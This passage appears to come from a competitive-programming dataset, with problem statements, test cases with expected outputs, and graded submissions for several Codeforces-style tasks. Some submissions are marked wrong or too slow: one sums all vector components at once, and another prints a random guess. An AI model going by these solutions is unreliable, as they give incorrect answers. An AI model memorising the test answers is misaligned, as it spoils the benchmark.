-85\n-21 -14 31\n68 -18 81\n13 31 60\n-15 28 99\n-42 15 9\n28 -61 -62\n-16 71 29\n-28 75 -48\n-77 -67 36\n-100 83 89\n100 100 -100\n57 34 -100\n0 0 -53", "output": "YES" }, { "input": "44\n52 -54 -29\n-82 -5 -94\n-54 43 43\n91 16 71\n7 80 -91\n3 15 29\n-99 -6 -77\n-3 -77 -64\n73 67 34\n25 -10 -18\n-29 91 63\n-72 86 -16\n-68 85 -81\n-3 36 44\n-74 -14 -80\n34 -96 -97\n-76 -78 -33\n-24 44 -58\n98 12 77\n95 -63 -6\n-51 3 -90\n-92 -10 72\n7 3 -68\n57 -53 71\n29 57 -48\n35 -60 10\n79 -70 -61\n-20 77 55\n-86 -15 -35\n84 -88 -18\n100 -42 77\n-20 46 8\n-41 -43 -65\n38 -98 -23\n-100 65 45\n-7 -91 -63\n46 88 -85\n48 59 100\n0 0 100\n0 0 100\n0 0 100\n0 0 100\n0 0 100\n0 0 1", "output": "YES" }, { "input": "18\n-14 -64 -91\n-8 -66 -86\n-23 92 -40\n6 -3 -53\n57 41 78\n-79 42 -22\n-88 -17 45\n4 -45 44\n83 -18 -25\n34 86 -92\n75 -30 12\n44 99 11\n-67 -13 72\n22 83 -56\n-37 71 72\n-9 -100 100\n0 -100 31\n0 -58 0", "output": "YES" }, { "input": "23\n-70 37 78\n42 84 6\n28 -94 -24\n-49 76 95\n-67 18 84\n-53 78 -5\n65 -63 -64\n-66 -64 -69\n81 -93 95\n10 52 -79\n-89 -61 -64\n-64 -47 43\n-81 -35 55\n80 82 73\n-60 -81 -18\n49 -10 -19\n-58 70 12\n-24 -15 -93\n98 -93 -54\n-28 -75 11\n100 100 -63\n100 100 0\n56 34 0", "output": "YES" }, { "input": "3\n0 2 -2\n1 -1 3\n-3 0 0", "output": "NO" } ]
1,627,825,401
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
80
154
6,758,400
n = int(input()) som = [sum(list(map(int,input().split()))) for i in range(n)] print("YES" if sum(som)==0 else "NO")
Title: Young Physicist Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: A guy named Vasya attends the final grade of a high school. One day Vasya decided to watch a match of his favorite hockey team. And, as the boy loves hockey very much, even more than physics, he forgot to do the homework. Specifically, he forgot to complete his physics tasks. Next day the teacher got very angry at Vasya and decided to teach him a lesson. He gave the lazy student a seemingly easy task: You are given an idle body in space and the forces that affect it. The body can be considered as a material point with coordinates (0; 0; 0). Vasya had only to answer whether it is in equilibrium. "Piece of cake" — thought Vasya, we need only to check if the sum of all vectors is equal to 0. So, Vasya began to solve the problem. But later it turned out that there can be lots and lots of these forces, and Vasya can not cope without your help. Help him. Write a program that determines whether a body is idle or is moving by the given vectors of forces. Input Specification: The first line contains a positive integer *n* (1<=≤<=*n*<=≤<=100), then follow *n* lines containing three integers each: the *x**i* coordinate, the *y**i* coordinate and the *z**i* coordinate of the force vector, applied to the body (<=-<=100<=≤<=*x**i*,<=*y**i*,<=*z**i*<=≤<=100). Output Specification: Print the word "YES" if the body is in equilibrium, or the word "NO" if it is not. Demo Input: ['3\n4 1 7\n-2 4 -1\n1 -5 -3\n', '3\n3 -1 7\n-5 2 -4\n2 -1 -3\n'] Demo Output: ['NO', 'YES'] Note: none
```python n = int(input()) som = [sum(list(map(int,input().split()))) for i in range(n)] print("YES" if sum(som)==0 else "NO") ```
0
46
F
Hercule Poirot Problem
PROGRAMMING
2,300
[ "dsu", "graphs" ]
F. Hercule Poirot Problem
2
256
Today you are to solve the problem even the famous Hercule Poirot can't cope with! That's why this crime has not yet been solved and this story was never included in Agatha Christie's detective story books. You are not informed on what crime was committed, when and where the corpse was found and other details. We only know that the crime was committed in a house that has *n* rooms and *m* doors between the pairs of rooms. The house residents are very suspicious, that's why all the doors can be locked with keys and all the keys are different. According to the provided evidence on Thursday night all the doors in the house were locked, and it is known in what rooms were the residents, and what kind of keys had any one of them. The same is known for the Friday night, when all the doors were also locked. On Friday it was raining heavily, that's why nobody left the house and nobody entered it. During the day the house residents could - open and close doors to the neighboring rooms using the keys at their disposal (every door can be opened and closed from each side); - move freely from a room to a room if a corresponding door is open; - give keys to one another, being in one room. "Little grey matter" of Hercule Poirot are not capable of coping with such amount of information. Find out if the positions of people and keys on the Thursday night could result in the positions on Friday night, otherwise somebody among the witnesses is surely lying.
The first line contains three preset integers *n*, *m* и *k* (1<=≤<=*n*,<=*m*,<=*k*<=≤<=1000) — the number of rooms, the number of doors and the number of house residents respectively. The next *m* lines contain pairs of room numbers which join the doors. The rooms are numbered with integers from 1 to *n*. There cannot be more that one door between the pair of rooms. No door connects a room with itself. The next *k* lines describe the residents' position on the first night. Every line contains a resident's name (a non-empty line consisting of no more than 10 Latin letters), then after a space follows the room number, then, after a space — the number of keys the resident has. Then follow written space-separated numbers of the doors that can be unlocked by these keys. The doors are numbered with integers from 1 to *m* in the order in which they are described in the input data. All the residents have different names, uppercase and lowercase letters considered to be different. Every *m* keys occurs exactly once in the description. Multiple people may be present in one room, some rooms may be empty. The next *k* lines describe the position of the residents on the second night in the very same format. It is guaranteed that in the second night's description the residents' names remain the same and every *m* keys occurs exactly once.
Print "YES" (without quotes) if the second arrangement can result from the first one, otherwise, print "NO".
[ "2 1 2\n1 2\nDmitry 1 1 1\nNatalia 2 0\nNatalia 1 1 1\nDmitry 2 0\n", "4 4 3\n1 3\n1 2\n2 3\n3 4\nArtem 1 1 4\nDmitry 1 1 2\nEdvard 4 2 1 3\nArtem 2 0\nDmitry 1 0\nEdvard 4 4 1 2 3 4\n" ]
[ "YES\n", "NO\n" ]
none
0
[ { "input": "2 1 2\n1 2\nDmitry 1 1 1\nNatalia 2 0\nNatalia 1 1 1\nDmitry 2 0", "output": "YES" }, { "input": "4 4 3\n1 3\n1 2\n2 3\n3 4\nArtem 1 1 4\nDmitry 1 1 2\nEdvard 4 2 1 3\nArtem 2 0\nDmitry 1 0\nEdvard 4 4 1 2 3 4", "output": "NO" }, { "input": "2 1 1\n2 1\nabsgdf 1 1 1\nabsgdf 1 1 1", "output": "YES" }, { "input": "2 1 1\n2 1\nabsgdf 2 1 1\nabsgdf 1 1 1", "output": "YES" }, { "input": "3 3 3\n1 2\n2 3\n3 1\na 1 1 1\nb 2 1 3\nc 3 1 2\na 3 1 3\nb 1 0\nc 2 2 1 2", "output": "YES" }, { "input": "3 3 3\n1 2\n2 3\n3 1\na 1 1 1\nb 2 1 3\nc 3 1 2\nb 1 1 2\nc 2 1 3\na 3 1 1", "output": "NO" }, { "input": "3 3 3\n1 2\n2 3\n3 1\nb 1 1 2\nc 2 1 3\na 3 1 1\na 3 1 3\nb 1 0\nc 2 2 1 2", "output": "NO" }, { "input": "4 5 3\n1 2\n2 3\n2 4\n1 3\n1 3\na 1 2 4 3\nb 1 0\nc 4 3 1 2 5\na 1 2 4 3\nb 1 1 5\nc 4 2 1 2", "output": "NO" }, { "input": "2 2 2\n1 2\n2 1\nA 1 1 2\nB 1 1 1\nA 1 0\nB 2 2 1 2", "output": "YES" }, { "input": "4 2 4\n2 1\n4 3\na 1 1 1\nb 2 1 2\nc 3 0\nd 4 0\na 2 1 2\nb 1 1 1\nc 3 0\nd 4 0", "output": "YES" }, { "input": "4 2 4\n2 1\n4 3\na 1 1 1\nb 2 1 2\nc 3 0\nd 4 0\na 2 1 2\nb 1 1 1\nc 4 0\nd 3 0", "output": "NO" }, { "input": "6 3 4\n1 2\n3 4\n5 6\na 1 2 1 3\nb 3 1 2\nc 5 0\nd 6 0\na 2 2 1 3\nb 4 1 2\nc 5 0\nd 6 0", "output": "YES" }, { "input": "6 3 4\n1 2\n3 4\n5 6\na 1 2 1 3\nb 3 1 2\nc 5 0\nd 6 0\na 2 1 1\nb 4 2 2 3\nc 5 0\nd 6 0", "output": "NO" }, { "input": "10 20 5\n2 1\n3 1\n4 2\n5 1\n6 5\n7 2\n8 5\n9 8\n10 6\n2 6\n3 5\n3 4\n10 5\n8 3\n9 4\n10 8\n9 2\n6 3\n3 8\n9 8\nDKkXdT 10 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20\nOzvgPXMzAr 5 0\nbjac 3 0\ncBPbJtoND 6 0\nw 5 0\nbjac 4 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20\nOzvgPXMzAr 2 0\ncBPbJtoND 5 0\nw 10 0\nDKkXdT 4 0", "output": "YES" }, { "input": "10 9 10\n1 2\n2 3\n3 4\n4 5\n5 6\n6 7\n7 8\n8 9\n9 10\nInCeN 1 0\nIzHqPceNhj 2 1 9\neH 3 1 8\nJvgBsNFi 4 1 7\nBA 5 1 6\nRrjSTXJzhL 6 1 5\nDMx 7 1 4\nJzt 8 1 3\nhxBRlDlqwD 9 1 2\nImWeEPkggZ 10 1 1\neH 1 0\nImWeEPkggZ 2 1 9\nDMx 3 1 8\nIzHqPceNhj 4 1 7\nInCeN 5 1 6\nJvgBsNFi 6 1 5\nRrjSTXJzhL 7 1 4\nJzt 8 1 3\nhxBRlDlqwD 9 1 2\nBA 10 1 1", "output": "YES" }, { "input": "11 10 11\n1 2\n2 11\n3 4\n4 11\n5 6\n6 11\n7 8\n8 11\n9 10\n10 11\na 1 1 9\nb 2 1 10\nc 3 0\nd 4 1 1\ne 5 1 3\nf 6 1 4\ng 7 1 5\nh 8 1 6\ni 9 1 7\nj 10 1 8\nk 11 1 2\na 1 0\nb 2 0\nc 3 0\nd 4 0\ne 5 0\nf 6 0\ng 7 0\nh 8 0\ni 9 0\nj 10 0\nk 11 10 1 2 3 4 5 6 7 8 9 10", "output": "YES" }, { "input": "11 10 11\n1 2\n2 11\n3 4\n4 11\n5 6\n6 11\n7 8\n8 11\n9 10\n10 11\na 1 0\nb 2 0\nc 3 0\nd 4 0\ne 5 0\nf 6 0\ng 7 0\nh 8 0\ni 9 0\nj 10 0\nk 11 10 1 2 3 4 5 6 7 8 9 10\na 1 1 9\nb 2 1 10\nc 3 0\nd 4 1 1\ne 5 1 3\nf 6 1 4\ng 7 1 5\nh 8 1 6\ni 9 1 7\nj 10 1 8\nk 11 1 2", "output": "YES" }, { "input": "7 8 2\n3 7\n7 6\n1 2\n4 5\n1 3\n5 6\n4 6\n2 3\na 7 4 3 8 5 2\nb 7 4 4 6 7 1\na 1 4 3 8 5 2\nb 4 4 4 6 7 1", "output": "NO" }, { "input": "7 8 2\n3 7\n7 6\n1 2\n4 5\n1 3\n5 6\n4 6\n2 3\na 1 4 3 8 5 2\nb 4 4 4 6 7 1\na 3 4 3 8 5 2\nb 6 4 4 6 7 1", "output": "YES" }, { "input": "7 7 2\n1 2\n2 3\n3 4\n4 5\n5 6\n6 7\n7 1\na 1 4 1 3 5 7\nb 2 3 2 4 6\na 7 4 1 3 5 7\nb 4 3 2 4 6", "output": "NO" }, { "input": "7 7 2\n1 2\n2 3\n3 4\n4 5\n5 6\n6 7\n7 1\na 1 4 1 3 5 7\nb 2 3 2 4 6\na 4 4 1 3 5 7\nb 4 3 2 4 6", "output": "YES" }, { "input": "10 20 10\n1 10\n5 10\n2 9\n2 6\n9 6\n3 9\n7 1\n10 5\n7 8\n8 7\n2 3\n9 6\n1 6\n5 3\n4 3\n3 7\n8 2\n6 4\n2 3\n4 1\nTjOMmYPRUY 7 3 1 3 9\nj 6 2 11 15\nBanBSrUA 4 2 19 20\ncSWZxzR 8 1 8\nzVoRlNgt 10 2 6 7\nWLGaq 1 3 10 13 17\nKahHtTDj 1 2 2 14\nrUFZmkpI 6 1 16\ni 4 3 4 5 12\nKLGiua 6 1 18\nWLGaq 10 0\ncSWZxzR 3 1 4\nj 2 3 8 13 17\nrUFZmkpI 7 2 1 19\nKahHtTDj 5 1 16\nKLGiua 6 2 2 12\nBanBSrUA 2 4 6 7 10 15\nTjOMmYPRUY 9 3 3 9 18\nzVoRlNgt 10 2 11 20\ni 2 2 5 14", "output": "YES" }, { "input": "10 10 10\n7 10\n1 2\n4 3\n7 4\n9 2\n8 7\n10 8\n6 10\n5 2\n6 10\nznkkxCkkxv 9 1 10\nP 5 1 7\nKOF 1 2 3 9\nwYtfFWkb 3 0\nZPJiebeu 9 1 6\ndgzAhKY 4 0\nayqPf 3 0\nxFSb 9 0\nreYnbMDm 10 1 1\nydSIPy 6 4 2 4 5 8\nKOF 10 1 4\nayqPf 7 1 7\nreYnbMDm 4 1 5\nwYtfFWkb 5 1 6\nznkkxCkkxv 9 2 1 9\nydSIPy 10 0\nP 10 1 8\ndgzAhKY 7 1 2\nZPJiebeu 8 1 3\nxFSb 7 1 10", "output": "NO" }, { "input": "5 8 5\n1 3\n4 2\n1 3\n4 2\n1 5\n5 3\n2 5\n2 5\nTaMmKIk 1 0\nvrLryIxio 1 3 1 6 5\nGFKONi 2 1 4\nTzRVfh 3 2 3 8\nqp 4 2 7 2\nTaMmKIk 1 2 7 4\nvrLryIxio 1 3 1 6 5\nTzRVfh 3 1 8\nqp 4 1 3\nGFKONi 4 1 2", "output": "YES" }, { "input": "10 9 10\n4 7\n4 8\n8 3\n9 2\n8 3\n8 1\n6 9\n4 7\n7 4\nznkkxCkkxv 1 2 3 6\nQlf 3 0\nKOF 5 2 1 8\ndgzAhKY 5 0\nwYtfFWkb 6 2 4 7\nLbYfZPhWd 9 0\nP 10 1 9\nZPJiebeu 10 1 5\nayqPf 10 0\nzmZLwuf 10 1 2\nwYtfFWkb 2 2 7 4\nQlf 3 1 2\nznkkxCkkxv 3 3 6 3 9\nKOF 5 0\ndgzAhKY 5 0\nLbYfZPhWd 9 0\nP 10 1 5\nZPJiebeu 10 0\nayqPf 10 0\nzmZLwuf 10 2 1 8", "output": "NO" } ]
1,692,195,641
2,147,483,647
PyPy 3-64
WRONG_ANSWER
TESTS
0
92
0
print("_RANDOM_GUESS_1692195641.6996408")# 1692195641.6996574
Title: Hercule Poirot Problem Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Today you are to solve the problem even the famous Hercule Poirot can't cope with! That's why this crime has not yet been solved and this story was never included in Agatha Christie's detective story books. You are not informed on what crime was committed, when and where the corpse was found and other details. We only know that the crime was committed in a house that has *n* rooms and *m* doors between the pairs of rooms. The house residents are very suspicious, that's why all the doors can be locked with keys and all the keys are different. According to the provided evidence on Thursday night all the doors in the house were locked, and it is known in what rooms were the residents, and what kind of keys had any one of them. The same is known for the Friday night, when all the doors were also locked. On Friday it was raining heavily, that's why nobody left the house and nobody entered it. During the day the house residents could - open and close doors to the neighboring rooms using the keys at their disposal (every door can be opened and closed from each side); - move freely from a room to a room if a corresponding door is open; - give keys to one another, being in one room. "Little grey matter" of Hercule Poirot are not capable of coping with such amount of information. Find out if the positions of people and keys on the Thursday night could result in the positions on Friday night, otherwise somebody among the witnesses is surely lying. Input Specification: The first line contains three preset integers *n*, *m* и *k* (1<=≤<=*n*,<=*m*,<=*k*<=≤<=1000) — the number of rooms, the number of doors and the number of house residents respectively. The next *m* lines contain pairs of room numbers which join the doors. The rooms are numbered with integers from 1 to *n*. There cannot be more that one door between the pair of rooms. No door connects a room with itself. The next *k* lines describe the residents' position on the first night. Every line contains a resident's name (a non-empty line consisting of no more than 10 Latin letters), then after a space follows the room number, then, after a space — the number of keys the resident has. Then follow written space-separated numbers of the doors that can be unlocked by these keys. The doors are numbered with integers from 1 to *m* in the order in which they are described in the input data. All the residents have different names, uppercase and lowercase letters considered to be different. Every *m* keys occurs exactly once in the description. Multiple people may be present in one room, some rooms may be empty. The next *k* lines describe the position of the residents on the second night in the very same format. It is guaranteed that in the second night's description the residents' names remain the same and every *m* keys occurs exactly once. Output Specification: Print "YES" (without quotes) if the second arrangement can result from the first one, otherwise, print "NO". Demo Input: ['2 1 2\n1 2\nDmitry 1 1 1\nNatalia 2 0\nNatalia 1 1 1\nDmitry 2 0\n', '4 4 3\n1 3\n1 2\n2 3\n3 4\nArtem 1 1 4\nDmitry 1 1 2\nEdvard 4 2 1 3\nArtem 2 0\nDmitry 1 0\nEdvard 4 4 1 2 3 4\n'] Demo Output: ['YES\n', 'NO\n'] Note: none
```python print("_RANDOM_GUESS_1692195641.6996408")# 1692195641.6996574 ```
0
384
A
Coder
PROGRAMMING
800
[ "implementation" ]
null
null
Iahub likes chess very much. He even invented a new chess piece named Coder. A Coder can move (and attack) one square horizontally or vertically. More precisely, if the Coder is located at position (*x*,<=*y*), he can move to (or attack) positions (*x*<=+<=1,<=*y*), (*x*–1,<=*y*), (*x*,<=*y*<=+<=1) and (*x*,<=*y*–1). Iahub wants to know how many Coders can be placed on an *n*<=×<=*n* chessboard, so that no Coder attacks any other Coder.
The first line contains an integer *n* (1<=≤<=*n*<=≤<=1000).
On the first line print an integer, the maximum number of Coders that can be placed on the chessboard. On each of the next *n* lines print *n* characters, describing the configuration of the Coders. For an empty cell print an '.', and for a Coder print a 'C'. If there are multiple correct answers, you can print any.
[ "2\n" ]
[ "2\nC.\n.C\n" ]
none
500
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1,616,262,150
2,147,483,647
Python 3
TIME_LIMIT_EXCEEDED
TESTS
10
1,000
4,505,600
n = int(input()) if n == 1: print(1) print("C") else: c_count = 0 ans = [] for i in range(1,n+1): a = [] for j in range(1,n+1): if (i%2 != 0) : if j%2 != 0: a.append("C") c_count += 1 else: a.append(".") else: if j%2 == 0: a.append("C") c_count += 1 else: a.append(".") ans.append(a) print(c_count) for i in ans: for j in i: print(j, end="") print()
Title: Coder Time Limit: None seconds Memory Limit: None megabytes Problem Description: Iahub likes chess very much. He even invented a new chess piece named Coder. A Coder can move (and attack) one square horizontally or vertically. More precisely, if the Coder is located at position (*x*,<=*y*), he can move to (or attack) positions (*x*<=+<=1,<=*y*), (*x*–1,<=*y*), (*x*,<=*y*<=+<=1) and (*x*,<=*y*–1). Iahub wants to know how many Coders can be placed on an *n*<=×<=*n* chessboard, so that no Coder attacks any other Coder. Input Specification: The first line contains an integer *n* (1<=≤<=*n*<=≤<=1000). Output Specification: On the first line print an integer, the maximum number of Coders that can be placed on the chessboard. On each of the next *n* lines print *n* characters, describing the configuration of the Coders. For an empty cell print an '.', and for a Coder print a 'C'. If there are multiple correct answers, you can print any. Demo Input: ['2\n'] Demo Output: ['2\nC.\n.C\n'] Note: none
```python n = int(input()) if n == 1: print(1) print("C") else: c_count = 0 ans = [] for i in range(1,n+1): a = [] for j in range(1,n+1): if (i%2 != 0) : if j%2 != 0: a.append("C") c_count += 1 else: a.append(".") else: if j%2 == 0: a.append("C") c_count += 1 else: a.append(".") ans.append(a) print(c_count) for i in ans: for j in i: print(j, end="") print() ```
0
129
A
Cookies
PROGRAMMING
900
[ "implementation" ]
null
null
Olga came to visit the twins Anna and Maria and saw that they have many cookies. The cookies are distributed into bags. As there are many cookies, Olga decided that it's no big deal if she steals a bag. However, she doesn't want the sisters to quarrel because of nothing when they divide the cookies. That's why Olga wants to steal a bag with cookies so that the number of cookies in the remaining bags was even, that is, so that Anna and Maria could evenly divide it into two (even 0 remaining cookies will do, just as any other even number). How many ways there are to steal exactly one cookie bag so that the total number of cookies in the remaining bags was even?
The first line contains the only integer *n* (1<=≤<=*n*<=≤<=100) — the number of cookie bags Anna and Maria have. The second line contains *n* integers *a**i* (1<=≤<=*a**i*<=≤<=100) — the number of cookies in the *i*-th bag.
Print in the only line the only number — the sought number of ways. If there are no such ways print 0.
[ "1\n1\n", "10\n1 2 2 3 4 4 4 2 2 2\n", "11\n2 2 2 2 2 2 2 2 2 2 99\n" ]
[ "1\n", "8\n", "1\n" ]
In the first sample Olga should take the only bag so that the twins ended up with the even number of cookies. In the second sample Olga can take any of five bags with two cookies or any of three bags with four cookies — 5 + 3 = 8 ways in total. In the third sample, no matter which bag with two cookies Olga chooses, the twins are left with 2 * 9 + 99 = 117 cookies. Thus, Olga has only one option: to take the bag with 99 cookies.
500
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44 96 33 23 42 33 66 53 87 8 90 43 91 40 88 51 18 48 62 59 10 22 20 54 6 13 63 2 56 31 52 98 42 54 32 26 77 9 24 33 91 16 30 39 34 78 82 73 90 12 15 67 76 30 18 44 86 84 98 65 54 100 79 28 34 40 56 11 43 72 35 86 59 89 40 30 33 7 19 44 15", "output": "50" }, { "input": "17\n50 14 17 77 74 74 38 76 41 27 45 29 66 98 38 73 38", "output": "7" }, { "input": "94\n81 19 90 99 26 11 86 44 78 36 80 59 99 90 78 72 71 20 94 56 42 40 71 84 10 85 10 70 52 27 39 55 90 16 48 25 7 79 99 100 38 10 99 56 3 4 78 9 16 57 14 40 52 54 57 70 30 86 56 84 97 60 59 69 49 66 23 92 90 46 86 73 53 47 1 83 14 20 24 66 13 45 41 14 86 75 55 88 48 95 82 24 47 87", "output": "39" }, { "input": "88\n64 95 12 90 40 65 98 45 52 54 79 7 81 25 98 19 68 82 41 53 35 50 5 22 32 21 8 39 8 6 72 27 81 30 12 79 21 42 60 2 66 87 46 93 62 78 52 71 76 32 78 94 86 85 55 15 34 76 41 20 32 26 94 81 89 45 74 49 11 40 40 39 49 46 80 85 90 23 80 40 86 58 70 26 48 93 23 53", "output": "37" }, { "input": "84\n95 9 43 43 13 84 60 90 1 8 97 99 54 34 59 83 33 15 51 26 40 12 66 65 19 30 29 78 92 60 25 13 19 84 71 73 12 24 54 49 16 41 11 40 57 59 34 40 39 9 71 83 1 77 79 53 94 47 78 55 77 85 29 52 80 90 53 77 97 97 27 79 28 23 83 25 26 22 49 86 63 56 3 32", "output": "51" }, { "input": "47\n61 97 76 94 91 22 2 68 62 73 90 47 16 79 44 71 98 68 43 6 53 52 40 27 68 67 43 96 14 91 60 61 96 24 97 13 32 65 85 96 81 77 34 18 23 14 80", "output": "21" }, { "input": "69\n71 1 78 74 58 89 30 6 100 90 22 61 11 59 14 74 27 25 78 61 45 19 25 33 37 4 52 43 53 38 9 100 56 67 69 38 76 91 63 60 93 52 28 61 9 98 8 14 57 63 89 64 98 51 36 66 36 86 13 82 50 91 52 64 86 78 78 83 81", "output": "37" }, { "input": "52\n38 78 36 75 19 3 56 1 39 97 24 79 84 16 93 55 96 64 12 24 1 86 80 29 12 32 36 36 73 39 76 65 53 98 30 20 28 8 86 43 70 22 75 69 62 65 81 25 53 40 71 59", "output": "28" }, { "input": "74\n81 31 67 97 26 75 69 81 11 13 13 74 77 88 52 20 52 64 66 75 72 28 41 54 26 75 41 91 75 15 18 36 13 83 63 61 14 48 53 63 19 67 35 48 23 65 73 100 44 55 92 88 99 17 73 25 83 7 31 89 12 80 98 39 42 75 14 29 81 35 77 87 33 94", "output": "47" }, { "input": "44\n46 56 31 31 37 71 94 2 14 100 45 72 36 72 80 3 38 54 42 98 50 32 31 42 62 31 45 50 95 100 18 17 64 22 18 25 52 56 70 57 43 40 81 28", "output": "15" }, { "input": "22\n28 57 40 74 51 4 45 84 99 12 95 14 92 60 47 81 84 51 31 91 59 42", "output": "11" }, { "input": "59\n73 45 94 76 41 49 65 13 74 66 36 25 47 75 40 23 92 72 11 32 32 8 81 26 68 56 41 8 76 47 96 55 70 11 84 14 83 18 70 22 30 39 28 100 48 11 92 45 78 69 86 1 54 90 98 91 13 17 35", "output": "33" }, { "input": "63\n20 18 44 94 68 57 16 43 74 55 68 24 21 95 76 84 50 50 47 86 86 12 58 55 28 72 86 18 34 45 81 88 3 72 41 9 60 90 81 93 12 6 9 6 2 41 1 7 9 29 81 14 64 80 20 36 67 54 7 5 35 81 22", "output": "37" }, { "input": "28\n49 84 48 19 44 91 11 82 96 95 88 90 71 82 87 25 31 23 18 13 98 45 26 65 35 12 31 14", "output": "15" }, { "input": "61\n34 18 28 64 28 45 9 77 77 20 63 92 79 16 16 100 86 2 91 91 57 15 31 95 10 88 84 5 82 83 53 98 59 17 97 80 76 80 81 3 91 81 87 93 61 46 10 49 6 22 21 75 63 89 21 81 30 19 67 38 77", "output": "35" }, { "input": "90\n41 90 43 1 28 75 90 50 3 70 76 64 81 63 25 69 83 82 29 91 59 66 21 61 7 55 72 49 38 69 72 20 64 58 30 81 61 29 96 14 39 5 100 20 29 98 75 29 44 78 97 45 26 77 73 59 22 99 41 6 3 96 71 20 9 18 96 18 90 62 34 78 54 5 41 6 73 33 2 54 26 21 18 6 45 57 43 73 95 75", "output": "42" }, { "input": "45\n93 69 4 27 20 14 71 48 79 3 32 26 49 30 57 88 13 56 49 61 37 32 47 41 41 70 45 68 82 18 8 6 25 20 15 13 71 99 28 6 52 34 19 59 26", "output": "23" }, { "input": "33\n29 95 48 49 91 10 83 71 47 25 66 36 51 12 34 10 54 74 41 96 89 26 89 1 42 33 1 62 9 32 49 65 78", "output": "15" }, { "input": "34\n98 24 42 36 41 82 28 58 89 34 77 70 76 44 74 54 66 100 13 79 4 88 21 1 11 45 91 29 87 100 29 54 82 78", "output": "13" }, { "input": "29\n91 84 26 84 9 63 52 9 65 56 90 2 36 7 67 33 91 14 65 38 53 36 81 83 85 14 33 95 51", "output": "17" }, { "input": "100\n2 88 92 82 87 100 78 28 84 43 78 32 43 33 97 19 15 52 29 84 57 72 54 13 99 28 82 79 40 70 34 92 91 53 9 88 27 43 14 92 72 37 26 37 20 95 19 34 49 64 33 37 34 27 80 79 9 54 99 68 25 4 68 73 46 66 24 78 3 87 26 52 50 84 4 95 23 83 39 58 86 36 33 16 98 2 84 19 53 12 69 60 10 11 78 17 79 92 77 59", "output": "45" }, { "input": "100\n2 95 45 73 9 54 20 97 57 82 88 26 18 71 25 27 75 54 31 11 58 85 69 75 72 91 76 5 25 80 45 49 4 73 8 81 81 38 5 12 53 77 7 96 90 35 28 80 73 94 19 69 96 17 94 49 69 9 32 19 5 12 46 29 26 40 59 59 6 95 82 50 72 2 45 69 12 5 72 29 39 72 23 96 81 28 28 56 68 58 37 41 30 1 90 84 15 24 96 43", "output": "53" }, { "input": "100\n27 72 35 91 13 10 35 45 24 55 83 84 63 96 29 79 34 67 63 92 48 83 18 77 28 27 49 66 29 88 55 15 6 58 14 67 94 36 77 7 7 64 61 52 71 18 36 99 76 6 50 67 16 13 41 7 89 73 61 51 78 22 78 32 76 100 3 31 89 71 63 53 15 85 77 54 89 33 68 74 3 23 57 5 43 89 75 35 9 86 90 11 31 46 48 37 74 17 77 8", "output": "40" }, { "input": "100\n69 98 69 88 11 49 55 8 25 91 17 81 47 26 15 73 96 71 18 42 42 61 48 14 92 78 35 72 4 27 62 75 83 79 17 16 46 80 96 90 82 54 37 69 85 21 67 70 96 10 46 63 21 59 56 92 54 88 77 30 75 45 44 29 86 100 51 11 65 69 66 56 82 63 27 1 51 51 13 10 3 55 26 85 34 16 87 72 13 100 81 71 90 95 86 50 83 55 55 54", "output": "53" }, { "input": "100\n34 35 99 64 2 66 78 93 20 48 12 79 19 10 87 7 42 92 60 79 5 2 24 89 57 48 63 92 74 4 16 51 7 12 90 48 87 17 18 73 51 58 97 97 25 38 15 97 96 73 67 91 6 75 14 13 87 79 75 3 15 55 35 95 71 45 10 13 20 37 82 26 2 22 13 83 97 84 39 79 43 100 54 59 98 8 61 34 7 65 75 44 24 77 73 88 34 95 44 77", "output": "55" }, { "input": "100\n15 86 3 1 51 26 74 85 37 87 64 58 10 6 57 26 30 47 85 65 24 72 50 40 12 35 91 47 91 60 47 87 95 34 80 91 26 3 36 39 14 86 28 70 51 44 28 21 72 79 57 61 16 71 100 94 57 67 36 74 24 21 89 85 25 2 97 67 76 53 76 80 97 64 35 13 8 32 21 52 62 61 67 14 74 73 66 44 55 76 24 3 43 42 99 61 36 80 38 66", "output": "52" }, { "input": "100\n45 16 54 54 80 94 74 93 75 85 58 95 79 30 81 2 84 4 57 23 92 64 78 1 50 36 13 27 56 54 10 77 87 1 5 38 85 74 94 82 30 45 72 83 82 30 81 82 82 3 69 82 7 92 39 60 94 42 41 5 3 17 67 21 79 44 79 96 28 3 53 68 79 89 63 83 1 44 4 31 84 15 73 77 19 66 54 6 73 1 67 24 91 11 86 45 96 82 20 89", "output": "51" }, { "input": "100\n84 23 50 32 90 71 92 43 58 70 6 82 7 55 85 19 70 89 12 26 29 56 74 30 2 27 4 39 63 67 91 81 11 33 75 10 82 88 39 43 43 80 68 35 55 67 53 62 73 65 86 74 43 51 14 48 42 92 83 57 22 33 24 99 5 27 78 96 7 28 11 15 8 38 85 67 5 92 24 96 57 59 14 95 91 4 9 18 45 33 74 83 64 85 14 51 51 94 29 2", "output": "53" }, { "input": "100\n77 56 56 45 73 55 32 37 39 50 30 95 79 21 44 34 51 43 86 91 39 30 85 15 35 93 100 14 57 31 80 79 38 40 88 4 91 54 7 95 76 26 62 84 17 33 67 47 6 82 69 51 17 2 59 24 11 12 31 90 12 11 55 38 72 49 30 50 42 46 5 97 9 9 30 45 86 23 19 82 40 42 5 40 35 98 35 32 60 60 5 28 84 35 21 49 68 53 68 23", "output": "48" }, { "input": "100\n78 38 79 61 45 86 83 83 86 90 74 69 2 84 73 39 2 5 20 71 24 80 54 89 58 34 77 40 39 62 2 47 28 53 97 75 88 98 94 96 33 71 44 90 47 36 19 89 87 98 90 87 5 85 34 79 82 3 42 88 89 63 35 7 89 30 40 48 12 41 56 76 83 60 80 80 39 56 77 4 72 96 30 55 57 51 7 19 11 1 66 1 91 87 11 62 95 85 79 25", "output": "48" }, { "input": "100\n5 34 23 20 76 75 19 51 17 82 60 13 83 6 65 16 20 43 66 54 87 10 87 73 50 24 16 98 33 28 80 52 54 82 26 92 14 13 84 92 94 29 61 21 60 20 48 94 24 20 75 70 58 27 68 45 86 89 29 8 67 38 83 48 18 100 11 22 46 84 52 97 70 19 50 75 3 7 52 53 72 41 18 31 1 38 49 53 11 64 99 76 9 87 48 12 100 32 44 71", "output": "58" }, { "input": "100\n76 89 68 78 24 72 73 95 98 72 58 15 2 5 56 32 9 65 50 70 94 31 29 54 89 52 31 93 43 56 26 35 72 95 51 55 78 70 11 92 17 5 54 94 81 31 78 95 73 91 95 37 59 9 53 48 65 55 84 